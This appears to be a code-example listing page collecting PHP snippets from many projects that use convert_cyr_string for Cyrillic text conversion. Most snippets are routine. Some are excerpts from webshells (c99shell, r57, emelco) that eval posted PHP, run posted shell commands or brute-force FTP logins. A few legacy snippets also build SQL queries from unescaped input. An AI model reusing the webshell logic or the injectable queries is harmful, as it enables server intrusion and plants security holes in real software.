コード例 #1
0
 function GetMessage($message_id, $external_id = 0)
 {
     if (!isset($this->_messageCash[$message_id])) {
         $raw_message = $this->_pop3->getMsg($message_id);
         require_once SYS . '/system/class/email/mime/mimeDecode.php';
         $params['include_bodies'] = true;
         $params['decode_bodies'] = true;
         $params['decode_headers'] = true;
         $decoder = new Mail_mimeDecode($raw_message);
         $msg = $decoder->decode($params);
         //				Dump($msg, true);
         $msg->external_id = $external_id;
         if (isset($msg->headers['date'])) {
             $msg->Moment = strtotime($msg->headers['date']);
         } else {
             $msg->Moment = 0;
         }
         $msg = $this->ProcessMessageBody($msg);
         if (strtoupper($msg->charset) == 'KOI8-R') {
             $msg->body = convert_cyr_string($msg->body, 'koi8-r', 'Windows-1251');
             $msg->headers['subject'] = convert_cyr_string($msg->headers['subject'], 'koi8-r', 'Windows-1251');
             $msg->charset = 'Windows-1251';
         }
         $this->_messageCash[$message_id] = $msg;
         $this->got_inner_body = null;
     }
     return $this->_messageCash[$message_id];
 }
コード例 #2
0
 function get_matching_phrase()
 {
     $phrase = parent::get_matching_phrase();
     if (utf8_strpos($this->uri, 'yandpage') !== false) {
         $phrase = convert_cyr_string(urldecode($phrase), 'k', 'w');
     }
     return $phrase;
 }
コード例 #3
0
ファイル: tourinfo.php プロジェクト: alex-k/velotur
function utf8_to_win($str)
{
    $str = utf8_decode($str);
    //  utf8 to iso8859-5
    $str = convert_cyr_string($str, 'i', 'w');
    // w - windows-1251   to  i - iso8859-5
    return $str;
}
コード例 #4
0
ファイル: index.php プロジェクト: themiddleearth/RPG.SU
 function win2uni($s)
 {
     $s = convert_cyr_string($s, 'w', 'i');
     for ($result = '', $i = 0; $i < strlen($s); $i++) {
         $charcode = ord($s[$i]);
         $result .= $charcode > 175 ? "&#" . (1040 + ($charcode - 176)) . ";" : $s[$i];
     }
     return $result;
 }
コード例 #5
0
ファイル: func.php プロジェクト: nikuha/rs
function win2uni($s)
  {
    $s = convert_cyr_string($s,'w','i'); // преобразование win1251 -> iso8859-5
    // преобразование iso8859-5 -> unicode:
    for ($result='', $i=0; $i<strlen($s); $i++) {
      $charcode = ord($s[$i]);
      $result .= ($charcode>175)?"&#".(1040+($charcode-176)).";":$s[$i];
    }
    return $result;
  } 
コード例 #6
0
ファイル: code.php プロジェクト: dapfru/gladiators
function transfer($string)
{
    $isostring = convert_cyr_string($string, "w", "i");
    for ($i = 0; $i < strlen($isostring); $i++) {
        $char = substr($isostring, $i, 1);
        $charcode = ord($char);
        $unistring .= $charcode > 175 ? "&#" . (1040 + ($charcode - 176)) . ";" : $char;
    }
    return $unistring;
}
コード例 #7
0
ファイル: ImageDraw.php プロジェクト: kakserpom/WakePHP
 function win2uni($s)
 {
     $s = convert_cyr_string($s, 'w', 'i');
     $result = '';
     $n = strlen($s);
     for ($i = 0; $i < $n; ++$i) {
         $charcode = ord($s[$i]);
         $result .= $charcode > 175 ? '&#' . (1040 + ($charcode - 176)) . ';' : $s[$i];
     }
     return $result;
 }
コード例 #8
0
function convert_cyr_array($array, $from, $to)
{
    foreach ($array as $key => $value) {
        if (is_array($value)) {
            $result[$key] = convert_cyr_array($value, $from, $to);
            continue;
        }
        $result[$key] = convert_cyr_string($value, $from, $to);
    }
    return $result;
}
コード例 #9
0
ファイル: unicode.php プロジェクト: echmaster/data
function toUnicode($string)
{
    $string = convert_cyr_string($string, "w", "i");
    //Функция convert_cyr_string() - преобразует строку из одной кириллической кодировки в другую(1 - конвертируемая строка; 2 - Исходная кириллическая кодировка, один символ; 3 - результирующая кириллическая кодировка, один символ. )
    $unicode = "";
    for ($i = 0; $i < strlen($string); $i++) {
        $char = $string[$i];
        $code = ord($char);
        $unicode .= $code < 175 ? $char : "&#" . (1040 + ($code - 176)) . ";";
    }
    return $unicode;
}
コード例 #10
0
ファイル: jpgraph_ttf.inc.php プロジェクト: evilgeny/bob
 function Convert($aTxt, $aFF)
 {
     if (LANGUAGE_GREEK) {
         if (GREEK_FROM_WINDOWS) {
             $unistring = LanguageConv::gr_win2uni($aTxt);
         } else {
             $unistring = LanguageConv::gr_iso2uni($aTxt);
         }
         return $unistring;
     } elseif (LANGUAGE_CYRILLIC) {
         if (CYRILLIC_FROM_WINDOWS && (!defined('LANGUAGE_CHARSET') || stristr(LANGUAGE_CHARSET, 'windows-1251'))) {
             $aTxt = convert_cyr_string($aTxt, "w", "k");
         }
         if (!defined('LANGUAGE_CHARSET') || stristr(LANGUAGE_CHARSET, 'koi8-r') || stristr(LANGUAGE_CHARSET, 'windows-1251')) {
             $isostring = convert_cyr_string($aTxt, "k", "i");
             $unistring = LanguageConv::iso2uni($isostring);
         } else {
             $unistring = $aTxt;
         }
         return $unistring;
     } elseif ($aFF === FF_SIMSUN) {
         // Do Chinese conversion
         if ($this->g2312 == null) {
             include_once 'jpgraph_gb2312.php';
             $this->g2312 = new GB2312toUTF8();
         }
         return $this->g2312->gb2utf8($aTxt);
     } elseif ($aFF === FF_CHINESE) {
         if (!function_exists('iconv')) {
             JpGraphError::RaiseL(25006);
             //('Usage of FF_CHINESE (FF_BIG5) font family requires that your PHP setup has the iconv() function. By default this is not compiled into PHP (needs the "--width-iconv" when configured).');
         }
         return iconv('BIG5', 'UTF-8', $aTxt);
     } elseif (ASSUME_EUCJP_ENCODING && ($aFF == FF_MINCHO || $aFF == FF_GOTHIC || $aFF == FF_PMINCHO || $aFF == FF_PGOTHIC)) {
         if (!function_exists('mb_convert_encoding')) {
             JpGraphError::RaiseL(25127);
         }
         return mb_convert_encoding($aTxt, 'UTF-8', 'EUC-JP');
     } elseif ($aFF == FF_DAVID || $aFF == FF_MIRIAM || $aFF == FF_AHRON) {
         return LanguageConv::heb_iso2uni($aTxt);
     } else {
         return $aTxt;
     }
 }
コード例 #11
0
 /**
  * {@inheritdoc}
  */
 public function convert($string, $from, $to)
 {
     // @todo Move to a normalizer.
     $to = str_replace('-', '', strtolower($to));
     $from = str_replace('-', '', strtolower($from));
     if ($to === $from) {
         return $string;
     }
     // We can at least handle these cases for now.
     if ($to === 'utf8' && $from === 'iso88591') {
         return utf8_encode($string);
     }
     if ($to === 'iso88591' && $from === 'utf8') {
         return utf8_decode($string);
     }
     if (isset(static::$cyrillic[$to]) && isset(static::$cyrillic[$from])) {
         return convert_cyr_string($str, $from, $to);
     }
 }
コード例 #12
0
 function Convert($aTxt, $aFF)
 {
     if (LANGUAGE_GREEK) {
         if (GREEK_FROM_WINDOWS) {
             $unistring = LanguageConv::gr_win2uni($aTxt);
         } else {
             $unistring = LanguageConv::gr_iso2uni($aTxt);
         }
         return $unistring;
     } elseif (LANGUAGE_CYRILLIC) {
         if (CYRILLIC_FROM_WINDOWS && (!defined('CYRILLIC_LANGUAGE_CHARSET') || stristr(CYRILLIC_LANGUAGE_CHARSET, 'windows-1251'))) {
             $aTxt = convert_cyr_string($aTxt, "w", "k");
         }
         if (!defined('CYRILLIC_LANGUAGE_CHARSET') || stristr(CYRILLIC_LANGUAGE_CHARSET, 'koi8-r') || stristr(CYRILLIC_LANGUAGE_CHARSET, 'windows-1251')) {
             $isostring = convert_cyr_string($aTxt, "k", "i");
             $unistring = LanguageConv::iso2uni($isostring);
         } else {
             $unistring = $aTxt;
         }
         return $unistring;
     } elseif ($aFF === FF_SIMSUN) {
         if ($this->g2312 == null) {
             include_once 'jpgraph_gb2312.php';
             $this->g2312 = new GB2312toUTF8();
         }
         return $this->g2312->gb2utf8($aTxt);
     } elseif ($aFF === FF_CHINESE) {
         if (!function_exists('iconv')) {
             JpGraphError::RaiseL(25006);
         }
         return iconv('BIG5', 'UTF-8', $aTxt);
     } elseif (ASSUME_EUCJP_ENCODING && ($aFF == FF_MINCHO || $aFF == FF_GOTHIC || $aFF == FF_PMINCHO || $aFF == FF_PGOTHIC)) {
         if (!function_exists('mb_convert_encoding')) {
             JpGraphError::RaiseL(25127);
         }
         return mb_convert_encoding($aTxt, 'UTF-8', 'EUC-JP');
     } elseif ($aFF == FF_DAVID || $aFF == FF_MIRIAM || $aFF == FF_AHRON) {
         return $this->heb_iso2uni($aTxt);
     } else {
         return $aTxt;
     }
 }
コード例 #13
0
/**
 * EML 文件解码
 *
 * @param string
 * @return string
 */
function decode_eml($string)
{
    $pos = strpos($string, '=?');
    if (!is_int($pos)) {
        return $string;
    }
    $preceding = substr($string, 0, $pos);
    // save any preceding text
    $search = substr($string, $pos + 2);
    // the mime header spec says this is the longest a single encoded word can be
    $part_1 = strpos($search, '?');
    if (!is_int($part_1)) {
        return $string;
    }
    $charset = substr($string, $pos + 2, $part_1);
    // 取出字符集的定义部分
    $search = substr($search, $part_1 + 1);
    // 字符集定义以后的部分 => $search
    $part_2 = strpos($search, '?');
    if (!is_int($part_2)) {
        return $string;
    }
    $encoding = substr($search, 0, $part_2);
    // 两个? 之间的部分编码方式: q 或 b 
    $search = substr($search, $part_2 + 1);
    $end = strpos($search, '?=');
    // $part_2 + 1 与 $end 之间是编码了的内容: => $endcoded_text;
    if (!is_int($end)) {
        return $string;
    }
    $encoded_text = substr($search, 0, $end);
    $rest = substr($string, strlen($preceding . $charset . $encoding . $encoded_text) + 6);
    // + 6 是前面去掉的 =????= 六个字符
    switch (strtolower($encoding)) {
        case 'q':
            $decoded = quoted_printable_decode($encoded_text);
            if (strtolower($charset) == 'windows-1251') {
                $decoded = convert_cyr_string($decoded, 'w', 'k');
            }
            break;
        case 'b':
            $decoded = base64_decode($encoded_text);
            if (strtolower($charset) == 'windows-1251') {
                $decoded = convert_cyr_string($decoded, 'w', 'k');
            }
            break;
        default:
            $decoded = '=?' . $charset . '?' . $encoding . '?' . $encoded_text . '?=';
            break;
    }
    return $preceding . $decoded . decode_eml($rest);
}
コード例 #14
0
ファイル: c99shell.php プロジェクト: uncia/webshell
             }
             echo "</table>";
         }
     }
 }
 if ($act == "eval") {
     if (!empty($eval)) {
         echo "<b>Result of execution this PHP-code</b>:<br>";
         $tmp = ob_get_contents();
         $olddir = realpath(".");
         @chdir($d);
         if ($tmp) {
             ob_clean();
             eval($eval);
             $ret = ob_get_contents();
             $ret = convert_cyr_string($ret, "d", "w");
             ob_clean();
             echo $tmp;
             if ($eval_txt) {
                 $rows = count(explode("\n", $ret)) + 1;
                 if ($rows < 10) {
                     $rows = 10;
                 }
                 echo "<br><textarea cols=\"122\" rows=\"" . $rows . "\" readonly>" . htmlspecialchars($ret) . "</textarea>";
             } else {
                 echo $ret;
             }
         } else {
             if ($eval_txt) {
                 echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
                 eval($eval);
コード例 #15
0
ファイル: r57.php プロジェクト: Theov/webshells
                    }
                    @mssql_query("drop table r57_temp_table", $db);
                } else {
                    echo "[-] ERROR! Can't select database";
                }
                @mssql_close($db);
            } else {
                echo "[-] ERROR! Can't connect to MSSQL server";
            }
            break;
    }
} else {
    if ($_POST['cmd'] != "php_eval" && $_POST['cmd'] != "mysql_dump" && $_POST['cmd'] != "db_show" && $_POST['cmd'] != "db_query" && $_POST['cmd'] != "ftp_brute") {
        $cmd_rep = ex($_POST['cmd']);
        if ($windows) {
            echo @htmlspecialchars(@convert_cyr_string($cmd_rep, 'd', 'w')) . "\n";
        } else {
            echo @htmlspecialchars($cmd_rep) . "\n";
        }
    }
}
if ($_POST['cmd'] == "ftp_brute") {
    $suc = 0;
    foreach ($users as $user) {
        $connection = @ftp_connect($ftp_server, $ftp_port, 10);
        if (@ftp_login($connection, $user, $user)) {
            echo "[+] {$user}:{$user} - success\r\n";
            $suc++;
        } else {
            if (isset($_POST['reverse'])) {
                if (@ftp_login($connection, $user, strrev($user))) {
コード例 #16
0
ファイル: jpgraph.php プロジェクト: illuminate3/web2project
 function Convert($aTxt, $aFF)
 {
     if (LANGUAGE_CYRILLIC) {
         /* Auto-detect whether the cyrillic conversion
          ** based on the character_set info that has 
          ** been passed to jpgraph from the including
          ** application.
          **
          ** Call the cyrillic converter only when a cyrillic 
          ** charset derivate is used. Otherwise do nothing 
          ** and prevent from erraneously converted strings.
          */
         if (CYRILLIC_FROM_WINDOWS && (!defined('LANGUAGE_CHARSET') || stristr(LANGUAGE_CHARSET, 'windows-1251'))) {
             $aTxt = convert_cyr_string($aTxt, "w", "k");
         }
         if (!defined('LANGUAGE_CHARSET') || stristr(LANGUAGE_CHARSET, 'koi8-r') || stristr(LANGUAGE_CHARSET, 'windows-1251')) {
             $isostring = convert_cyr_string($aTxt, "k", "i");
             $unistring = LanguageConv::iso2uni($isostring);
         } else {
             $unistring = $aTxt;
         }
         return $unistring;
     } elseif ($aFF === FF_SIMSUN) {
         // Do Chinese conversion
         if ($this->g2312 == null) {
             include_once 'jpgraph_gb2312.php';
             $this->g2312 = new GB2312toUTF8();
         }
         return $this->g2312->gb2utf8($aTxt);
     } elseif ($aFF === FF_CHINESE) {
         if (!function_exists('iconv')) {
             JpGraphError::RaiseL(25006);
             //('Usage of FF_CHINESE (FF_BIG5) font family requires that your PHP setup has the iconv() function. By default this is not compiled into PHP (needs the "--width-iconv" when configured).');
         }
         return iconv('BIG5', 'UTF-8', $aTxt);
     } else {
         return $aTxt;
     }
 }
コード例 #17
0
ファイル: images.php プロジェクト: PapaKot/Horowitz
 static function win2uni($s)
 {
     $s = convert_cyr_string($s, 'w', 'i');
     // win1251 -> iso8859-5
     for ($result = '', $i = 0; $i < strlen($s); $i++) {
         //iso8859-5 -> unicode:
         $charcode = ord($s[$i]);
         $result .= $charcode > 175 ? "&#" . (1040 + ($charcode - 176)) . ";" : $s[$i];
     }
     return $result;
 }
コード例 #18
0
ファイル: home.php プロジェクト: eok8177/provider_admin
}
#########################  Вывод данных о пользователях #######################################
if ($check == 0) {
    mysql_select_db($DB1) or die("No Select DB");
    $sql = "SELECT * FROM users ORDER BY name";
    $query = mysql_query($sql) or die("Query error");
    mysql_select_db($DB1) or die("No Select DB");
    echo "<table border=1 width100 bgcolor=D0E3D3>\n <tr>";
    echo "<td>ID</td><td width=30>Login</td><td width=20>Счет</td><td width=50>Абон плата</td><td>группа</td><td>Фамилия</td><td>Имя</td><td>улица</td><td>дом</td><td>кв</td><td>тел</td><td>IP</td></tr>\n";
    for ($i = 0; $i < mysql_num_rows($query); $i++) {
        # Вывод таблицы пользователей
        echo "<tr>";
        $s = mysql_fetch_array($query);
        $sql1 = "SELECT * FROM users_name WHERE name='{$s['name']}'";
        $info = mysql_query($sql1) or die("Query2 error");
        $s1 = mysql_fetch_array($info);
        $first_name = convert_cyr_string($s1[first_name], w, k);
        $last_name = convert_cyr_string($s1[last_name], w, k);
        $street = convert_cyr_string($s1[street], w, k);
        #echo "$info";
        if ($s[groupe] == 1) {
            $gr = "MB";
        }
        if ($s[groupe] == 2) {
            $gr = "128";
        }
        if ($s[groupe] == 3) {
            $gr = "64";
        }
        if ($s[groupe] == 4) {
            $gr = "256";
コード例 #19
0
ファイル: misc.php プロジェクト: captincook/Pony
function win2uni($winstr)
{
    $uniline = '';
    $isoline = convert_cyr_string($winstr, "w", "i");
    for ($i = 0; $i < strlen($isoline); $i++) {
        $thischar = substr($isoline, $i, 1);
        $charcode = ord($thischar);
        $uniline .= $charcode > 175 ? "&#" . (1040 + ($charcode - 176)) . ";" : $thischar;
    }
    return $uniline;
}
コード例 #20
0
 /**
  * @param string $encoding optional
  * @return string
  */
 function GetText($encoding = null)
 {
     if ($encoding == null) {
         $encoding = $this->TextCodePage;
     }
     $this->DefaultCodePage = strtolower($this->DefaultCodePage);
     $encoding = strtolower($encoding);
     if (array_key_exists($encoding, $this->_text)) {
         return $this->_text[$encoding];
     }
     if ($this->DefaultCodePage == CPAGE_UTF8 && $encoding == CPAGE_UTF7_Imap) {
         $this->_text[$encoding] = ConvertUtils::Utf8to7($this->_text[$this->DefaultCodePage]);
         return $this->_text[$encoding];
     }
     if ($this->DefaultCodePage == CPAGE_UTF7_Imap && $encoding == CPAGE_UTF8) {
         $this->_text[$encoding] = ConvertUtils::Utf7to8($this->_text[$this->DefaultCodePage]);
         return $this->_text[$encoding];
     }
     if (extension_loaded('xml')) {
         // convert here
         if ($this->DefaultCodePage == CPAGE_ISO8859_1 && $encoding == CPAGE_UTF8) {
             $this->_text[$encoding] = utf8_encode($this->_text[$this->DefaultCodePage]);
             return $this->_text[$encoding];
         }
         if ($this->DefaultCodePage == CPAGE_UTF8 && $encoding == CPAGE_ISO8859_1) {
             $this->_text[$encoding] = utf8_decode($this->_text[$this->DefaultCodePage]);
             return $this->_text[$encoding];
         }
     }
     $cyrCodePages = array(CPAGE_KOI8R => 'k', CPAGE_WINDOWS_1251 => 'w', CPAGE_ISO8859_5 => 'i', CPAGE_IBM866 => 'd', CPAGE_MAC_CYRILLIC => 'm');
     if (array_key_exists($this->DefaultCodePage, $cyrCodePages) && array_key_exists($encoding, $cyrCodePages)) {
         $this->_text[$encoding] = convert_cyr_string($this->_text[$this->DefaultCodePage], $cyrCodePages[$this->DefaultCodePage], $cyrCodePages[$encoding]);
         return $this->_text[$encoding];
     }
     if (function_exists('iconv') && USE_ICONV && $this->DefaultCodePage != CPAGE_UTF7_Imap) {
         return ConvertUtils::ClassIconv($this->DefaultCodePage, $encoding, $this->_text[$this->DefaultCodePage]);
     }
     if (function_exists('mb_convert_encoding') && USE_MBSTRING) {
         return ConvertUtils::ClassMb_convert_encoding($this->DefaultCodePage, $encoding, $this->_text[$this->DefaultCodePage]);
     }
     if ($encoding == CPAGE_UTF8) {
         return $this->GetTextAsUtf8();
     }
     if (!array_key_exists(CPAGE_UTF8, $this->_text)) {
         $this->GetTextAsUtf8();
     }
     if (array_key_exists(CPAGE_UTF8, $this->_text)) {
         $utf8MappingList =& $this->GetUtf8MappingList();
         if (in_array($encoding, $utf8MappingList)) {
             require_once WM_ROOTPATH . 'common/utf8encode/' . $encoding . '.php';
             $this->_text[$encoding] = call_user_func('charset_encode_' . str_replace('-', '_', $encoding), $this->_text[CPAGE_UTF8]);
             return $this->_text[$encoding];
         }
     }
     // undefined codepage, we'll return original string
     return $this->_text[$this->DefaultCodePage];
 }
コード例 #21
0
ファイル: _functions.php プロジェクト: pioytazsko/drell
function prepare_text_send($email, $table, $reply)
{
    global $REQUEST_URI, $HTTP_HOST, $pt_l_name, $pt_l;
    $filename = "";
    $j = 0;
    for ($i = 1; $i <= 500; $i++) {
        if ($pt_l_name[$i]) {
            $filename[$j][0] = $pt_l_name[$i];
            $filename[$j][1] = $pt_l[$i];
            $j++;
        }
    }
    $from = ereg_replace("www\\.", "feedback@", $HTTP_HOST);
    if ($reply) {
        $reply = $pt_l[$reply] ? $pt_l[$reply] : $from;
    } else {
        $reply = $from;
    }
    //mail($email, $HTTP_HOST, convert_cyr_string($table, "w", "k") , "From: ".$from." \n".$reply."MIME-Version: 1.0\nContent-Type: text/html;\n	charset=\"koi8-r\"\nContent-Transfer-Encoding: 7bit\n");
    XMail($reply, $email, $HTTP_HOST, convert_cyr_string($table, "w", "k"), $filename);
}
コード例 #22
0
ファイル: pnAPI.php プロジェクト: danamyrocket/openemr
/**
 * send an email
 * @param to - recipient of the email
 * @param subject - title of the email
 * @param message - body of the email
 * @param headers - extra headers for the email
 * @param debug - if 1, echo mail content
 * @returns bool
 * @return true if the email was sent, false if not
 */
function pnMail($to, $subject, $message, $headers, $debug = 0)
{
    // Language translations
    switch (pnUserGetLang()) {
        case 'rus':
            if (!empty($headers)) {
                $headers .= "\n";
            }
            $headers .= "Content-Type: text/plain; charset=koi8-r";
            $subject = convert_cyr_string($subject, "w", "k");
            $message = convert_cyr_string($message, "w", "k");
            $headers = convert_cyr_string($headers, "w", "k");
            break;
    }
    // Debug
    if ($debug) {
        echo "Mail To: " . $to . "<br>";
        echo "Mail Subject: " . $subject . "<br>";
        echo "Mail Message: " . $message . "<br>";
        echo "Mail Headers: " . $headers . "<br>";
    }
    // Mail message
    // do not display error messages [class007]
    $return = @mail($to, $subject, $message, $headers);
    return $return;
}
コード例 #23
0
ファイル: mail.php プロジェクト: ASDAFF/1C_Bitrix_info_site
	public static function ConvertCharset($str, $from, $to)
	{
		$from = trim(strtolower($from));
		$to = trim(strtolower($to));

		if(($from=='utf-8' || $to == 'utf-8') || defined('BX_UTF'))
			return $GLOBALS['APPLICATION']->ConvertCharset($str, $from, $to);


		if($from=='windows-1251' || $from=='cp1251')
			$from = 'w';
		elseif(strpos($from, 'koi8')===0)
			$from = 'k';
		elseif($from=='dos-866')
			$from = 'd';
		elseif($from=='iso-8859-5')
			$from = 'i';
		else
			$from = '';

		if($to=='windows-1251' || $to=='cp1251')
			$to = 'w';
		elseif(strpos($to, 'koi8')===0)
			$to = 'k';
		elseif($to=='dos-866')
			$to = 'd';
		elseif($to=='iso-8859-5')
			$to = 'i';
		else
			$to = '';

		if(strlen($from)>0 && strlen($to)>0)
		{
			$str = convert_cyr_string($str, $from, $to);
		}
		return $str;

	}
コード例 #24
0
ファイル: dial.php プロジェクト: eok8177/provider_admin
<?php

require "/var/www/dbm_0.1";
mysql_select_db($DB1) or die("No Select DB");
$sql = "SELECT * FROM users ORDER BY id";
$query = mysql_query($sql) or die("Query error");
echo "<table border=1 width=100% cellspacing=0>\n";
echo "<tr><td>ID</td><td>Логин</td><td>Группа</td><td>Счёт</td><td>Limit</td><td>Доступ</td><td>Фамилия</td><td>Имя Отчество</td><td>Адресс</td><td>Телефон</td><td></td></tr>\n";
mysql_select_db($DB2) or die("No Select DB");
for ($i = 0; $i < mysql_num_rows($query); $i++) {
    $s = mysql_fetch_array($query);
    $sql1 = "SELECT last_name,name,street_home,phone,acct FROM users WHERE login='******'login']}'";
    $info = mysql_query($sql1) or die("Query2 error");
    $s1 = mysql_fetch_array($info);
    echo "<tr>";
    $last_name = convert_cyr_string($s1[last_name], w, k);
    $name = convert_cyr_string($s1[name], w, k);
    $street_home = convert_cyr_string($s1[street_home], w, k);
    echo "<td>{$s['id']}</td><td>{$s['login']}</td><td>{$s['gr']}</td><td>{$s['acct']}</td><td>{$s['lim']}</td><td>{$s['access']}</td><td>{$last_name}</td><td>{$name}</td><td>{$street_home}</td><td>{$s1['phone']}</td>";
    echo "<form action=\"?mod=edit\" method=\"post\">";
    echo "<input type=hidden name=edit_user value=";
    echo "{$s['login']}";
    echo ">";
    echo " <td align=\"center\"><input type=\"submit\" name=\"report\" value=\"Edit\" align=\"middle\"></td>";
    echo "</form>";
    echo "</tr>\n";
}
echo "</table>";
コード例 #25
0
ファイル: send_current_print_save.php プロジェクト: qquk/IBAG
     echo "\n\t                              <td bgcolor=white width=60 class='let_list_data'>\n\t                               <table width=100% border=0 cellspacing=0 cellpadding=2>\n\t                               <tr> ";
 }
 echo "\n\t                                <td class='let_list_data' style='";
 if (!isset($_GET['head'])) {
     echo "BORDER: 0px solid;";
 }
 echo "'> <font color=#990000>" . $row['divname'] . "</font></td>";
 if (!isset($_GET['head'])) {
     echo "\n\t                               </tr>\n\n\t                               </table>\n\t                              </td>";
 }
 echo "\n\n\n\n\t                          <td bgcolor=white width=110 class='let_list_data'>\n\t                           <table width=100% border=0 cellspacing=0 cellpadding=2>\n\t                           <tr>\n\t                            <td class='let_list_data' style='BORDER: 0px solid;' align=right width=100%>\n\t                             <table width=100% border=0 cellspacing=0 cellpadding=0>\n\t                             <tr>\n\t                              <td width=50% class='let_list_data' style='BORDER: 0px solid;font-size=7pt;color:#888888' align=right>сумма</td>\n\t                              <td class='let_list_data' style='BORDER: 0px solid;font-size=8pt;color:#990000' align=right>" . $let_summ . "</td>\n\t                             </tr>";
 $query = "select * from letaddsummtypes";
 $res2 = mysql_query($query) or die(mysql_error());
 while ($row2 = mysql_fetch_array($res2)) {
     $last_summ = number_format(get_letter_summ($row2['last_id'], $row['let_id']), 2, '.', ' ');
     convert_cyr_string($row2['lastname'], k, w);
     if ($last_summ != '0.00') {
         echo "\n\t                             <tr>\n\t                              <td class='let_list_data' style='BORDER: 0px solid;font-size=7pt;color:#888888' align=right>" . $row2['lastname'] . "</td>\n\t                              <td class='let_list_data' style='BORDER: 0px solid;font-size=8pt;color:#996666' align=right>" . $last_summ . "</td>\n\t                             </tr>";
     }
 }
 echo "\n                             \t\t<tr>\n\t                                  <td class='let_list_data' style='BORDER: 0px solid;font-size=7pt;color:#888888' align=right>к передаче</td>\n\n\t                                <td class='let_list_data' style='BORDER: 0px solid;color:#990000' align=right><b>" . $total_summ . "</b></td>\n\t                               </tr>\n\t                             </table>\n\t                           </tr>\n\t                           </table>\n\t                          </td>\n\n                              ";
 if (!isset($_GET['head'])) {
     echo "\n\t                            <td bgcolor=white width=120 class='let_list_data'>\n\t                               <table width=100% border=0 cellspacing=0 cellpadding=2>\n\t                               <tr> ";
 }
 echo "\n\t                            <td class='let_list_data' style='";
 if (!isset($_GET['head'])) {
     echo "BORDER: 0px solid;";
 }
 echo "color:#444444'>";
 if ($row['payeeisbank'] == 0) {
     echo "{$row['letnote']}";
コード例 #26
0
ファイル: StatsHelper.php プロジェクト: buildshop/bs-common
 public static function se_rambler($ref)
 {
     $sw = "words=";
     $sw1 = "query=";
     $sw2 = "old_q=";
     $engine = "R";
     $url = urldecode($ref);
     if (stristr($url, "btnG=оБКФЙ!")) {
         $url = convert_cyr_string($url, "k", "w");
     }
     $url = stripslashes($url);
     $url = strip_tags($url);
     if (self::get_encoding($url) == "cp1251") {
         $url = iconv("CP1251", "UTF-8", $url);
     }
     preg_match("/[?&]+" . $sw . "([^&]*)/i", $url . "&", $match1);
     if (empty($match1)) {
         preg_match("/[?&]+" . $sw1 . "([^&]*)/iu", $url . "&", $match1);
     }
     $match1[1] = trim($match1[1]);
     if (stristr($url, "infound=1")) {
         preg_match("/[?&]+" . $sw2 . "([^&]*)/i", $url . "&", $match2);
         return array($engine, $match2[1] . " + " . $match1[1]);
     } else {
         return array($engine, $match1[1]);
     }
 }
コード例 #27
0
ファイル: stres.php プロジェクト: xl7dev/WebShell
function decode($buffer)
{
    return convert_cyr_string($buffer, 'd', 'w');
}
コード例 #28
0
ファイル: skypebot.php プロジェクト: novozhenets/majordomo
    function MessageStatus( &$pMessage, $Status ) {
    global $skype, $CurrentUser, $archivechats;
    global $pt;

    $myhandle = $CurrentUser->Handle;

    $cmeUnknown = -1;
    $cmeCreatedChatWith = 0;
    $cmeAddedMembers = 2;
    $cmeSetTopic = 3;
    $cmeSaid = 4;
    $cmeLeft = 5;

    if ($pMessage->Type == $cmeSetTopic) {
      //skype_SetTopic($pMessage);      
    } else if ($pMessage->Type == $cmeAddedMembers) {
      //skype_add_member($pMessage);      
    } else if ($pMessage->Type == $cmeSaid || $pMessage->Type == $cmeUnknown) { 
      if ($Status == 0 || $Status == 2) {
//        print "\n$pMessage->body $Status $pMessage->type";

        if ($pMessage->FromHandle <> $CurrentUser->Handle ) {

          echo $pMessage->FromHandle.": ".convert_cyr_string($pMessage->Body, 'w', 'd')."\n";
      
          if ( substr(strtolower($pMessage->Body),0,4) == 'ping' ) {
            $skype->Chat($pMessage->ChatName)->SendMessage("pong");
          }

          $user=SQLSelectOne("SELECT ID FROM users WHERE SKYPE LIKE '".$pMessage->FromHandle."'");
          if (!$user['ID']) {
           $user=SQLSelectOne("SELECT ID FROM users ORDER BY ID");
          }
          $user_id=$user['ID'];


          $qrys=explode(' '.DEVIDER.' ', iconv('WINDOWS-1251', 'UTF-8', $pMessage->Body));
          $total=count($qrys);
          for($i=0;$i<$total;$i++) {
           $room_id=0;
           $rec=array();
           $rec['ROOM_ID']=(int)$room_id;
           $rec['MEMBER_ID']=$user_id;
           $rec['MESSAGE']=htmlspecialchars($qrys[$i]);
           $rec['ADDED']=date('Y-m-d H:i:s');
           SQLInsert('shouts', $rec);
           $pt->checkAllPatterns();
           getObject("ThisComputer")->raiseEvent("commandReceived", array("command"=>$qrys[$i]));
          }

        
        }
      }
    }
        }
コード例 #29
0
ファイル: jpgraph.php プロジェクト: hostellerie/nexpro
 function Convert($aTxt, $aFF)
 {
     if (LANGUAGE_CYRILLIC) {
         if (CYRILLIC_FROM_WINDOWS) {
             $aTxt = convert_cyr_string($aTxt, "w", "k");
         }
         $isostring = convert_cyr_string($aTxt, "k", "i");
         $unistring = LanguageConv::iso2uni($isostring);
         return $unistring;
     } elseif ($aFF === FF_SIMSUN) {
         // Do Chinese conversion
         if ($this->g2312 == null) {
             include_once 'jpgraph_gb2312.php';
             $this->g2312 = new GB2312toUTF8();
         }
         return $this->g2312->gb2utf8($aTxt);
     } elseif ($aFF === FF_CHINESE) {
         if (!function_exists('iconv')) {
             JpGraphError::Raise('Usage of FF_CHINESE (FF_BIG5) font family requires that your PHP setup has the iconv() function. By default this is not compiled into PHP (needs the "--width-iconv" when configured).');
         }
         return iconv('BIG5', 'UTF-8', $aTxt);
     } else {
         return $aTxt;
     }
 }
コード例 #30
0
ファイル: emelco-1.3.php プロジェクト: laiello/emelco
function shellpopen($cmd)
{
    /* fuente: antichat webshell v1.3 */
    if ($fp = popen($cmd, 'r')) {
        $result = '';
        while (!feof($fp)) {
            $result .= fread($fp, 1024);
        }
        pclose($fp);
        $ret = $result;
        $ret = convert_cyr_string($ret, 'd', 'w');
        return $ret;
    } else {
        return false;
    }
}